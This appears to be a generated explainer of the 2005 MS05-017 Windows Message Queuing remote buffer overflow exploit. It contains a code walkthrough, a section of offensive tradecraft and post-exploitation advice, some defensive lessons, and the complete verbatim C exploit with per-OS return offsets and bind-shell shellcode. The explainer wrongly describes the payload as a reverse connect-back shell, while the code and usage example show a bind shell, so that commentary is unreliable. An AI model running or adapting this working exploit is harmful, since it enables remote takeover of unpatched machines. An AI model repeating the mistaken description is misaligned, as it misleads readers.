Explaining the MS05-017 Message Queuing Remote Buffer Overflow Exploit

Explaining the MS05-017 Message Queuing Remote Buffer Overflow Exploit
What this paper is
This paper, published by houseofdabus in 2005, presents a universal exploit for a remote buffer overflow vulnerability in Microsoft's Message Queuing (MSMQ) service. The vulnerability, cataloged as MS05-017 by Microsoft, allows an attacker to execute arbitrary code on a vulnerable system, potentially leading to complete control. The exploit targets specific versions of Windows XP and Windows 2000.
Simple technical breakdown
The MSMQ service, when handling certain network requests, has a flaw in how it processes incoming data. Specifically, it doesn't properly check the size of data it's copying into a fixed-size buffer. An attacker can send a specially crafted network packet that's larger than the buffer can hold. This "overflows" the buffer, overwriting adjacent memory. By carefully crafting the overflowing data, the attacker can overwrite critical control information, such as the return address on the program's call stack. When the function finishes, instead of returning to its normal execution path, it jumps to code provided by the attacker, which is typically malicious shellcode.
This specific exploit leverages the DCE/RPC (Distributed Computing Environment / Remote Procedure Call) protocol, which MSMQ uses for communication. The exploit constructs a series of RPC packets, with the final packet containing the buffer overflow and the attacker's shellcode. The shellcode in this case is designed to open a backdoor on a specified port, allowing the attacker to connect to the compromised machine.
Complete code and payload walkthrough
The provided C code implements a network client that connects to a target MSMQ service and sends a malicious payload. Let's break down the key components:
Data Structures
DCE_RPCandPDCE_RPC: These structures represent the header of a DCE/RPC packet.ver,ver_minor: DCE/RPC version numbers.pkt_type: Type of the RPC packet (e.g., bind, request, response).pkt_flags: Flags for packet fragmentation and authentication.data_repres: Data representation format.frag_len: Total length of the fragment.auth_len: Length of the authentication data.caller_id: A unique identifier for the caller.
DCE_RPC_BINDandPDCE_RPC_BIND: These structures are part of the DCE/RPC bind request, used to establish a connection and negotiate capabilities.max_xmit,max_recv: Maximum transmission and reception sizes.asc_group: Association group identifier.num_con_items: Number of connection-oriented items.con_id: Connection identifier.num_trn_items: Number of transfer syntax items.- The commented-out fields (
interface_uuid,interface_ver, etc.) would typically be present in a full bind request, defining the RPC interface being requested.
Network Packet Construction Data
dce_rpc_header1,dce_rpc_header2,dce_rpc_header3: These are pre-defined byte sequences that form parts of the DCE/RPC request. They contain various fields like packet type, flags, lengths, and identifiers, meticulously crafted to initiate the communication and set up the context for the exploit.tag_private: This byte sequence represents the string\PRIVATE$\, which is a special MSMQ directory used for private queues. This is part of the target path for the exploit.offsets: This is a crucial array containing different jump and NOP (No Operation) instructions. It's designed to provide different "landing spots" for the execution flow based on the target operating system version (Windows 2000, Windows 2000 Server/AdvServer, and Windows XP). These offsets point to instructions that will eventually lead to the execution of the shellcode.\xEB\x08\x90\x90: A short jump (EB) followed by 8 bytes of NOPs. This is a common technique to skip over a small section of code.\xE9\x14\x40\x00: A near jump (E9) to an offset. This is used to redirect execution to a specific location.\x4d\x12\x00\x01: This sequence is likely an absolute jump or a call instruction, depending on the context, aiming for a specific memory address.- The bytes following the jump instructions are often NOPs (
\x90) or part of the shellcode itself.
Shellcode
bind_shellcode: This is the actual payload that the attacker wants to execute on the target system. It's a sequence of machine code instructions.- The
SET_PORTBIND_PORTmacro is used to modify a specific byte sequence within this shellcode. It takes a buffer and a port number. It finds the byte sequence at offset 186 within thebind_shellcodeand replaces it with the provided port number (after converting it to network byte order usinghtons). - The shellcode's purpose is to establish a reverse TCP connection back to the attacker's machine on a specified port. It typically involves:
- Resolving the target system's IP address and port.
- Creating a socket.
- Connecting back to the attacker's listening port.
- Redirecting standard input, output, and error streams to the socket, effectively creating a command shell accessible via
telnetornetcaton the attacker's machine.
- The
Helper Functions
hex2raw(unsigned char *s, unsigned char *out): This function converts a hexadecimal string representation (e.g., "4142") into raw bytes (e.g.,\x41\x42). It iterates through the input string, converts each pair of hex characters into a byte, and stores it in theoutbuffer. It returns the number of bytes written.inverse(unsigned char *io, unsigned long len): This function reverses a byte array in place. It's used inencode_uuidto reverse parts of the UUID after conversion from hex to raw.encode_uuid(unsigned char *uuid, unsigned char *out): This function takes a standard UUID string (e.g., "8a885d04-1ceb-11c9-9fe8-08002b104860") and converts it into the byte format expected by DCE/RPC. It parses the UUID, converts the hexadecimal parts to raw bytes usinghex2raw, and applies theinversefunction to specific segments as required by the RPC standard.convert_name(char *out, char *name): This function takes a plain string (like a NetBIOS name) and converts it into a UTF-16 little-endian representation, padding with null bytes. This is the format expected for certain string fields in the RPC packet.
Main Function (main)
Initialization:
- Defines a UUID (
endp) for the MSMQ RPC interface. - Checks for the correct number of command-line arguments.
- Initializes the Winsock library on Windows (
WSAStartup).
- Defines a UUID (
Connection Setup:
- Resolves the target hostname using
gethostbyname. - Creates a TCP socket.
- Sets up the
sockaddr_instructure with the target IP address and port (provided asargv[2]). - Connects to the target MSMQ service.
- Resolves the target hostname using
DCE/RPC Bind:
- Calls
dce_rpc_bindto construct a DCE/RPC bind request packet. This packet negotiates the RPC communication parameters with the server. - Sends the bind request packet.
- Receives the server's response.
- Calls
Payload Construction:
- Allocates a buffer (
buff) of 4172 bytes and fills it with NOPs. This buffer will contain the exploit packet. - Copies
dce_rpc_header1into the beginning ofbuff. - Converts the NetBIOS name (
argv[3]) to the expected format usingconvert_nameand places it afterdce_rpc_header1. - Copies
tag_privateafter the NetBIOS name. - Copies
dce_rpc_header2anddce_rpc_header3at specific offsets withinbuff(1048 and 1048*2, 1048*3). These are likely parts of the malformed request that trigger the overflow. - Copies the
offsetsarray intobuffat offset 438. This array contains the jump instructions that will redirect execution. - Shellcode Integration:
- Takes the attacker's desired bind port (
argv[4]). - XORs the port with
0x0437. This is a simple obfuscation/decryption step. - Uses
SET_PORTBIND_PORTto embed the XORed port into thebind_shellcode. - Copies the modified
bind_shellcodeintobuffafter theoffsets.
- Takes the attacker's desired bind port (
- Sets the last two bytes of
buffto null terminators, which might be for string termination in some contexts, though not strictly necessary for raw packet sending.
- Allocates a buffer (
Exploit Sending Loop:
- Determines the number of packets to send (
cpkt), defaulting to 1 or taking a value fromargv[5]. - Enters a loop to send the crafted
buffmultiple times. - Each iteration sends the 4172-byte exploit packet. Sending multiple packets can help ensure the overflow occurs and the shellcode is executed, especially if the initial attempt fails or if there are timing issues.
- Determines the number of packets to send (
Mapping list: code fragment/block -> practical purpose
DCE_RPCstruct: Defines the standard header for DCE/RPC communication.DCE_RPC_BINDstruct: Defines parameters for initiating an RPC connection.dce_rpc_header1,dce_rpc_header2,dce_rpc_header3: Pre-defined RPC packet fragments used to construct the malicious request.tag_private: Represents the\PRIVATE$\path, part of the MSMQ object being accessed.offsetsarray: Contains jump instructions and NOPs to redirect execution flow to the shellcode based on the target OS.bind_shellcode: The machine code payload that establishes a reverse shell.SET_PORTBIND_PORTmacro: Embeds the attacker's listening port into the shellcode.hex2rawfunction: Converts hexadecimal strings to raw bytes.inversefunction: Reverses byte arrays.encode_uuidfunction: Converts UUID strings to the byte format used in RPC.convert_namefunction: Converts a string to UTF-16 little-endian format.mainfunction: Orchestrates the entire exploit process: connection, RPC binding, payload construction, and repeated sending of the exploit packet.send(sockfd, buff, 4172, 0): The critical function call that transmits the crafted exploit packet over the network.
Practical details for offensive operations teams
- Required Access Level: Network access to the target machine's MSMQ port (default 2103, but can vary). No local access is required for the initial exploit.
- Lab Preconditions:
- A network segment allowing communication between the attacker's machine and the target.
- A vulnerable MSMQ service running on the target.
- A listener (e.g.,
netcat,telnet) set up on the attacker's machine on the specified bind port to receive the reverse shell. - The target OS versions must match those listed in the paper (Windows XP SP1, Windows 2000 SP4, Windows 2000 SP3).
- Tooling Assumptions:
- The exploit is provided as a C source file. It needs to be compiled using a C compiler (e.g., Visual Studio/VC++ on Windows, GCC on Linux/Cygwin).
telnetornetcatfor establishing the reverse shell connection.
- Execution Pitfalls:
- Firewalls: Network firewalls blocking the MSMQ port (2103) or the attacker's bind port.
- OS/Service Pack Mismatch: The exploit is highly specific to the listed OS versions and service packs. Newer versions or different service packs may have patched the vulnerability or use different memory layouts, causing the exploit to fail.
- MSMQ Service Not Running: If the MSMQ service is not running or is not listening on the expected port, the connection will fail.
- Incorrect Port: Using the wrong MSMQ port or bind port.
- Anti-Virus/IDS: Signature-based detection of the exploit traffic or the shellcode.
- ASLR/DEP (if applicable to the target OS version): While less prevalent in the targeted OS versions, modern exploit mitigation techniques can hinder shellcode execution.
- Packet Corruption: Network intermediaries (e.g., NAT devices, proxies) that might alter the packet structure.
- Tradecraft Considerations:
- Reconnaissance: Crucial to identify the target OS version and confirm MSMQ is running and accessible. Banner grabbing or port scanning can help.
- Stealth: The initial connection to the MSMQ port might be logged. The repeated sending of packets could also be noisy. Consider timing and network traffic analysis.
- Payload Customization: The provided shellcode is a basic bind shell. For more advanced operations, custom shellcode (e.g., for privilege escalation, lateral movement) would be necessary.
- Post-Exploitation: Once a shell is obtained, the immediate goal is often to stabilize the connection, escalate privileges, and establish persistence. The example shows stopping and starting the MSMQ service, which is a basic interaction.
- Expected Telemetry:
- Network Logs: Connection attempts to the MSMQ port (e.g., 2103) from the attacker's IP. Subsequent connections from the target IP back to the attacker's listener port.
- Firewall Logs: Blocked or allowed connections to the MSMQ port.
- IDS/IPS Alerts: Signatures matching the exploit packet structure or known shellcode patterns.
- System Logs (Target):
- Event logs might show the MSMQ service being stopped and started (if the attacker performs these actions).
- Process creation logs might show unusual processes being spawned by
mqsvc.exe(the MSMQ service executable) if the shellcode is executed. - Network connection logs from the
mqsvc.exeprocess initiating an outbound connection to the attacker's IP and port.
- Application Logs (MSMQ): While less common for exploit detection, MSMQ logs might show abnormal activity or errors related to malformed requests.
Where this was used and when
This exploit was published in June 2005, targeting a vulnerability disclosed by Microsoft in Security Bulletin MS05-017. This bulletin was released in April 2005. Therefore, the exploit was likely developed and used in the period shortly after the bulletin's release, primarily for proof-of-concept demonstrations and potentially by malicious actors targeting unpatched systems. Its usage would have been most relevant in 2005 and the years immediately following, before widespread patching occurred.
Defensive lessons for modern teams
- Patch Management is Paramount: This exploit highlights the critical importance of timely patching. MS05-017 was a severe vulnerability, and systems that remained unpatched were highly susceptible.
- Network Segmentation and Access Control: Limiting direct external access to services like MSMQ, especially those with known vulnerabilities, is crucial. Network segmentation can contain the blast radius of an exploit.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect the characteristic patterns of exploit traffic, including malformed RPC packets and known shellcode signatures.
- Endpoint Detection and Response (EDR): EDR solutions can monitor process behavior, network connections, and memory anomalies. They can detect the execution of shellcode by the MSMQ service process (
mqsvc.exe) or unusual outbound network connections. - Vulnerability Management: Regular scanning for known vulnerabilities, especially on critical internet-facing services, is essential.
- Protocol Awareness: Understanding the protocols used by services (like DCE/RPC for MSMQ) can help in analyzing network traffic for anomalies and potential exploit attempts.
- Secure Configuration: Ensuring services are configured securely and unnecessary features are disabled can reduce the attack surface.
ASCII visual (if applicable)
This exploit involves a network interaction and a memory corruption event. A simplified visual representation of the network flow and the buffer overflow can be illustrative.
+-----------------+ +-----------------+ +-----------------+
| Attacker Machine| ----> | Target MSMQ | ----> | Attacker Listener|
| (Exploit Client)| | Service (Vulnerable)| | (e.g., Netcat) |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Send Malicious RPC |
| Packet (Overflow) |
|------------------------->|
| |
| | 3. Shellcode executes,
| | connects back to listener
| |------------------------->|
| |
| | 4. Attacker interacts
| | via listener (shell)
| |<-------------------------|
| |
| | 2. MSMQ Service crashes
| | or executes shellcode
| | due to buffer overflow
| |
+------------------------+Buffer Overflow Illustration:
+---------------------------------------------------+
| Normal Function Data |
+---------------------------------------------------+
| ... |
+---------------------------------------------------+
| Return Address (legitimate) | <--- Overwritten by attacker's shellcode address
+---------------------------------------------------+
| Stack Frame Pointer |
+---------------------------------------------------+
| Local Variables / Buffer |
| +---------------------------------------------+ |
| | Attacker Controlled Data (Overflowing) | |
| | [NOPs][Shellcode][Padding] | |
| +---------------------------------------------+ |
+---------------------------------------------------+When the function returns, it attempts to jump to the "Return Address," which has been overwritten by the address of the attacker's shellcode.
Source references
- Paper ID: 1075
- Paper Title: Microsoft Windows Message Queuing - Remote Buffer Overflow Universal (MS05-017) (v.0.3)
- Author: houseofdabus
- Published: 2005-06-29
- Paper URL: https://www.exploit-db.com/papers/1075
- Raw URL: https://www.exploit-db.com/raw/1075
- Microsoft Security Bulletin: MS05-017
Original Exploit-DB Content (Verbatim)
/* HOD-ms05017-msmq-expl.c: 2005-06-28: PUBLIC v.0.3
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-017) Message Queuing Buffer Overflow Vulnerability
* Universal Exploit
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2000 SP3
*
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in Message Queuing
* that could allow an attacker who successfully exploited this
* vulnerability to take complete control of the affected system.
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows XP SP1
* - Windows XP SP0
* - Windows 2000 PRO SP4
* - Windows 2000 PRO SP3
* - Windows 2000 Server SP4
* - Windows 2000 AdvServer SP4
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Win32/cygwin: gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Linux : gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
*
* ---------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms05017-msmq-expl 192.168.0.1 2103 HOD 7777
*
* [*] Connecting to 192.168.0.22:2103 ... OK
* [*] Attacking...OK
*
* C:\>telnet 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>net stop msmq
*
* The Message Queuing service was stopped successfully.
*
* C:\WINNT\system32>net start msmq
* The Message Queuing service is starting..
* The Message Queuing service was started successfully.
*
* C:\WINNT\system32>
*
* For some system (Windows 2000 Server/AdvServer):
*
* C:\>HOD-ms05017-msmq-expl.exe 192.168.0.1 2103 HOD 9999 8
*
* [*] Connecting to 192.168.0.210:2103 ... OK
* [*] Attacking...........OK
*
* C:\>telnet 192.168.0.1 9999
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
#define NOP 0x90
#define _DCE_RPC_BIND 0x0B
typedef struct dce_rpc {
unsigned char ver;
unsigned char ver_minor;
unsigned char pkt_type;
unsigned char pkt_flags;
unsigned long data_repres;
unsigned short frag_len;
unsigned short auth_len;
unsigned long caller_id;
} DCE_RPC, *PDCE_RPC;
typedef struct dce_rpc_bind {
unsigned short max_xmit;
unsigned short max_recv;
unsigned long asc_group;
unsigned long num_con_items;
unsigned short con_id;
unsigned short num_trn_items;
/* unsigned char *interface_uuid; */
/* unsigned short interface_ver; */
/* unsigned short interface_ver_min; */
/* unsigned char *uuid; */
/* unsigned long syntax_ver; */
} DCE_RPC_BIND, *PDCE_RPC_BIND;
unsigned char dce_rpc_header1[] =
"\x05\x00\x00\x01\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\x00\x00\x00\x09\x00\x01\x00\x00\x00\x01\x00\x00\x00"
"\x01\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00"
"\xE4\x07\x00\x00\x00\x00\x00\x00\xE4\x07\x00\x00"
"\x4F\x00\x53\x00\x3A\x00";
/* ... Remote NetBIOS name */
unsigned char tag_private[] =
/* \PRIVATE$\ */
"\x5C\x00"
"\x50\x00\x52\x00\x49\x00\x56\x00\x41\x00\x54\x00\x45\x00\x24\x00"
"\x5C\x00";
unsigned char dce_rpc_header2[] =
"\x05\x00\x00\x00\x10\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\x00\x00\x00\x09\x00";
unsigned char dce_rpc_header3[] =
"\x05\x00\x00\x02\x10\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x00"
"\xEC\x03\x00\x00\x00\x00\x09\x00";
unsigned char offsets[] =
/* entry point (jmp over) */
"\xEB\x08\x90\x90"
/* for Windows 2000 */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\xE9\x14\x40\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
/* entry point (jmp over) */
"\xEB\x08\x90\x90"
/* for Windows 2000 Server/AdvServer */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\xE9\x14\x40\x00"
"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73\x65\x6F\x66\x64\x61\x62"
"\x75\x73\x48\x41"
/* entry point (jmp over) */
"\xEB\x06\x90\x90"
/* for Windows XP */
/* mqsvc.exe - pop reg; pop reg; retn; */
"\x4d\x12\x00\x01"
"\x90\x90\x90\x90\x90\x90";
unsigned char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";
#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)
int
hex2raw(unsigned char *s, unsigned char *out)
{
unsigned long i, len, j = 0;
unsigned long ret = 0;
len = strlen(s);
for (i = 0; i < len; i+=2) {
if ((s[i] >= 0x30) && (s[i] <= 0x39))
j = s[i] - 0x30;
else
j = s[i] - 0x61 + 10;
j *= 16;
if ((s[i+1] >= 0x30) && (s[i+1] <= 0x39))
j += s[i+1] - 0x30;
else
j += s[i+1] - 0x61 + 10;
out[ret] = (unsigned char)j;
ret++;
}
return ret;
}
void
inverse(unsigned char *io, unsigned long len)
{
unsigned long i;
unsigned char c;
for (i = 0; i < len/2; i++) {
c = io[len-i-1];
io[len-i-1] = io[i];
io[i] = c;
}
}
int
encode_uuid(unsigned char *uuid, unsigned char *out)
{
unsigned long i, len, ret;
unsigned cnt = 0, ar = 0;
unsigned char *ptr;
ptr = uuid;
len = strlen(uuid);
for (i = 0; i < len; i++) {
if (uuid[i] == '-') {
uuid[i] = '\0';
if (ar < 3) {
ret = hex2raw(ptr, out);
inverse(out, ret);
out += ret; cnt += ret;
}
else {
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
}
ptr = uuid+i+1;
ar++;
}
}
out[len] = '\0';
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
return cnt;
}
unsigned char *
dce_rpc_bind(
unsigned long cid,
unsigned char *uuid,
unsigned short ver,
unsigned long *pkt_len)
{
unsigned char vuid[] = "8a885d04-1ceb-11c9-9fe8-08002b104860";
unsigned char *pkt, *euuid, *tmp;
unsigned long cnt;
unsigned short ret;
PDCE_RPC_BIND rpc_bind;
PDCE_RPC rpc;
pkt = (unsigned char *)calloc(2048, 1);
euuid = (unsigned char *)calloc(strlen(uuid)/2+2, 1);
tmp = pkt;
pkt += sizeof(DCE_RPC);
rpc_bind = (PDCE_RPC_BIND)pkt;
rpc_bind->max_xmit = 0x16D0;
rpc_bind->max_recv = 0x16D0;
rpc_bind->asc_group = 0;
rpc_bind->num_con_items = 1;
rpc_bind->con_id = 0;
rpc_bind->num_trn_items = 1;
pkt += sizeof(DCE_RPC_BIND);
cnt = encode_uuid(uuid, pkt);
pkt += cnt;
memcpy(pkt, &ver, sizeof(short));
pkt += sizeof(short);
*pkt++ = 0; *pkt++ = 0;
cnt = encode_uuid(vuid, pkt);
pkt += cnt;
*pkt++ = 2; *pkt++ = 0;
ret = pkt - tmp;
rpc = (PDCE_RPC)tmp;
rpc->ver = 5;
rpc->ver_minor = 0;
rpc->pkt_type = _DCE_RPC_BIND;
rpc->pkt_flags = 3;
rpc->data_repres = 16;
rpc->frag_len = ret + 2;
rpc->auth_len = 0;
rpc->caller_id = cid;
*pkt_len = ret + 2;
free(euuid);
return tmp;
}
void
convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = '\x00';
*out-- = name[len];
}
}
int
main (int argc, char **argv)
{
unsigned char endp[] = "fdb3a030-065f-11d1-bb9b-00a024ea5525";
unsigned char *packet = NULL;
unsigned short bindport;
unsigned long cnt;
struct sockaddr_in addr;
struct hostent *he;
int len, cpkt = 1;
int sockfd;
char recvbuf[4096];
char *buff, *ptr;
#ifdef _WIN32
WSADATA wsa;
#endif
printf("\n (MS05-017) Message Queuing Buffer Overflow Vulnerability\n\n");
printf("\t Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
if (argc < 5) {
printf("%s <host> <port> <netbios name> <bind port> [count]\n", argv[0]);
printf("\nMSMQ ports: 2103, 2105, 2107\n");
printf("count - number of packets. for Win2k Server/AdvServer = 6-8\n\n");
exit(0);
}
#ifdef _WIN32
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %s\n", argv[1]);
return 0;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] create socket failed\n");
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons((short)atoi(argv[2]));
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '\0', 8);
printf("\n[*] Connecting to %s:%u ... ", argv[1], atoi(argv[2]));
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("\n[-] connect failed!\n");
exit(0);
}
printf("OK\n");
packet = dce_rpc_bind(0, endp, 1, &cnt);
if (send(sockfd, packet, cnt, 0) == -1) {
printf("[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 0) {
printf("[-] recv failed\n");
exit(0);
}
free(packet);
printf("[*] Attacking...");
buff = (char *) malloc(4172);
memset(buff, NOP, 4172);
ptr = buff;
memcpy(ptr, dce_rpc_header1, sizeof(dce_rpc_header1)-1);
ptr += sizeof(dce_rpc_header1)-1;
// Remote NetBIOS name
convert_name(ptr, argv[3]);
ptr += strlen(argv[3])*2;
memcpy(ptr, tag_private, sizeof(tag_private)-1);
ptr += sizeof(tag_private)-1;
memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);
// offsets
ptr = buff;
ptr += 438;
memcpy(ptr, offsets, sizeof(offsets)-1);
ptr += sizeof(offsets)-1;
// shellcode
bindport = (unsigned short)atoi(argv[4]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
buff[4170] = '\0';
buff[4171] = '\0';
if (argc == 6) cpkt = atoi(argv[5]);
while (cpkt--) {
printf(".");
if (send(sockfd, buff, 4172, 0) == -1) {
printf("\n[-] send failed\n");
exit(0);
}
}
printf(" OK\n");
return 0;
}
// milw0rm.com [2005-06-29]